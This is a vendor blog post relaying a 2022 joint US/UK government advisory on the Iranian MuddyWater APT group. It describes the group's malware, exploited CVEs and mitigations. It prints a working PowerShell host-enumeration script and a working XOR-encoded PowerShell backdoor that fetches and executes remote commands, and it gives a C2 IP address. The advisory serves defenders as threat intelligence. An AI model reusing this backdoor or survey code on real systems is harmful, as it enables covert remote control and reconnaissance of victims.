Friday, February 25th, 2022

MuddyWater ATP – Ongoing Cyber Attacks

Only one month after publicly exposing a large suite of tools used by the Iranian government-backed APT team known as MuddyWater, the FBI, CISA, the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) are warning organisations that the group is actively conducting cyber espionage campaigns against critical infrastructure organisations, government agencies, and other targets in North America, Europe, and other regions.

MuddyWater is a group inside the Iranian Ministry of Intelligence and Security (MOIS) that has been active since at least 2018 and is known to use a wide range of tools and techniques in its operations. In January, U.S. Cyber Command published a set of 17 separate samples of malware attributed to MuddyWater, including a PowerShell malware loader called PowGoop. That tool was used in a 2020 attack against some organisations in the Middle East that resulted in ransomware deployments. MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims’ systems and deploy ransomware. 

The recent advisory released by the FBI, Cyber Command’s Cyber National Mission Force, CISA, and the UK’s National Cyber Security Center observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity. The advisory warned that MiddyWater is using newer variants of some of these malware tools in its spear phishing campaigns and other operations. See below for more details.

Technical Details

FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks. 

As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor’s C2 server or a PDF file that drops a malicious file to the victim’s network [T1566.001T1204.002]. MuddyWater actors also use techniques such as side-loading DLLs [T1574.002] to trick legitimate programs into running malware and obfuscating PowerShell scripts [T1059.001] to hide C2 functions [T1027] (see the PowGoop section for more information). 

Additionally, the group uses multiple malware sets—including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS—for loading malware, backdoor access, persistence [TA0003], and exfiltration [TA0010]. See below for descriptions of some of these malware sets, including newer tools or variants to the group’s suite. Additionally, see Malware Analysis Report MAR-10369127.r1.v1: MuddyWater for further details.


MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file.

According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components:

  • A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading technique [T1574.002]. The DLL file is contained within an executable, GoogleUpdate.exe
  • A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a second obfuscated PowerShell script, config.txt [T1059.001].
  • config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.

These components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service. 

Small Sieve

According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python [T1059.006] backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe. The NSIS installs the Python backdoor, index.exe, and adds it as a registry run key [T1547.001], enabling persistence [TA0003]. 

MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft’s Windows Defender to avoid detection during casual inspection. The APT group has also used variations of Microsoft (e.g., “Microsift”) and Outlook in its filenames associated with Small Sieve [T1036.005].

Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection [TA0005] by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve’s beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS) [T1071.001], and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function [T1027], T1132.002].

Note: cybersecurity agencies in the United Kingdom and the United States attribute Small Sieve to MuddyWater with high confidence. 

See Appendix B for further analysis of Small Sieve malware.


MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001]. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. Note: the cybersecurity agencies of the United Kingdom and the United States attribute these malware samples to MuddyWater with high confidence. 

In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros [T1204.002]. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.

The first .wsf is installed in the current user startup folder [T1547.001] for persistence. The file contains hexadecimal (hex)-encoded strings that have been reshuffled [T1027]. The file executes a command to run the second .wsf.

The second .wsf also contains hex-encoded strings that have been reshuffled. This file collects [TA0035] the victim system’s IP address, computer name, and username [T1005]. The collected data is then hex-encoded and sent to an adversary-controlled IP address, http[:]88.119.170[.]124, via an HTTP POST request [T1041].


MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure [T1572]. 

According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C++ that is executed with regsvr32.exe with export DllRegisterServer; this DLL appears to be a component to another program. FML.dll contains approximately 200MB of junk data [T1001.001] in a resource directory 205, number 105. Upon execution, FML.dll creates a mutex, 0x50504060, and performs the following tasks:

  • Deletes the file FILENAME.old and deletes file by registry value. The filename is the DLL file with a .old extension.
  • Resolves networking APIs from strings that are ADD-encrypted with the key 0x05.
  • Uses Base64 and Java Script Object Notation (JSON) based on certain key values passed to the JSON library functions. It appears likely that JSON is used to serialize C2 commands and/or their results.
  • Communicates using HTTP over either IPv4 or IPv6, depending on the value of an unidentified flag, for C2 [T1071.001].
  • Reads and/or writes data from the following Registry Keys, HKLM\Software\NFC\IPA and HKLM\Software\NFC\(Default).


This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems [T1059.001]. 

CNMF has posted samples further detailing the different parts of MuddyWater’s new suite of tools— along with JavaScript files used to establish connections back to malicious infrastructure—to the malware aggregation tool and repository, Virus Total. Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.

MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688). See CISA’s Known Exploited Vulnerabilities Catalog for additional vulnerabilities with known exploits and joint Cybersecurity Advisory: Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities for additional Iranian APT group-specific vulnerability exploits.

Survey Script

The following script is an example of a survey script used by MuddyWater to enumerate information about victim computers. It queries the Windows Management Instrumentation (WMI) service to obtain information about the compromised machine to generate a string, with these fields separated by a delimiter (e.g., ;; in this sample). The produced string is usually encoded by the MuddyWater implant and sent to an adversary-controlled IP address.$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += “;;”;$ips = “”;Get-WmiObject Win32_NetworkAdapterConfiguration -Filter “IPEnabled=True” | % {$ips = $ips + “, ” + $_.IPAddress[0]};$S += $ips.substring(1);$S += “;;”;$S += $O.OSArchitecture;$S += “;;”;$S += [System.Net.DNS]::GetHostByName(”).HostName;$S += “;;”;$S += ((Get-WmiObject Win32_ComputerSystem).Domain);$S += “;;”;$S += $env:UserName;$S += “;;”;$AntiVirusProducts = Get-WmiObject -Namespace “root\SecurityCenter2” -Class AntiVirusProduct  -ComputerName $env:computername;$resAnti = @();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti += $AntiVirusProduct.displayName};$S += $resAnti;echo $S;

Newly Identified PowerShell Backdoor

The newly identified PowerShell backdoor used by MuddyWater below uses a single-byte Exclusive-OR (XOR) to encrypt communications with the key 0x02 to adversary-controlled infrastructure. The script is lightweight in functionality and uses the InvokeScript method to execute responses received from the adversary.function encode($txt,$key){$enByte = [Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt = [Convert]::ToBase64String($enByte);return $encodetxt;}function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}$global:tt=20;while($true){try{$w = [System.Net.HttpWebRequest]::Create(‘<victim identifier>’);$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.Length -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode $r 2));$wr = [System.Net.HttpWebRequest]::Create(‘<victim identifier>’);$wr.proxy = [Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add(‘cookie’,(encode $res 2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds $global:tt;}

MuddyWater Mitigations

Protective Controls and Architecture

  • Deploy multi-layer levels of security monitoring
  • Deploy application control software to limit the applications and executable code that can be run by users. Email attachments and files downloaded via links in emails often contain executable code. 

Identity and Access Management

  • Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems. 
  • Limit the use of administrator privileges. Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their system—once infected—enables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information. 

Phishing Protection

  • Enable antivirus and anti-malware software and update signature definitions in a timely manner. Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing. 
  • Be suspicious of unsolicited contact via email or social media from any individual you do not know personally. Do not click on hyperlinks or open attachments in these communications.
  • Consider adding an email banner to emails received from outside your organisation and disabling hyperlinks in received emails.
  • Train users through awareness and simulations to recognise and report phishing and social engineering attempts. Identify and suspend access of user accounts exhibiting unusual activity.
  • Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks. 

Vulnerability and Configuration Management

  • Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. 


Contact Us

The data you supply here will not be added to any mailing list or given to any third party providers without further consent. View our Privacy Policy for more information.

    Copyright Smarttech247 - 2021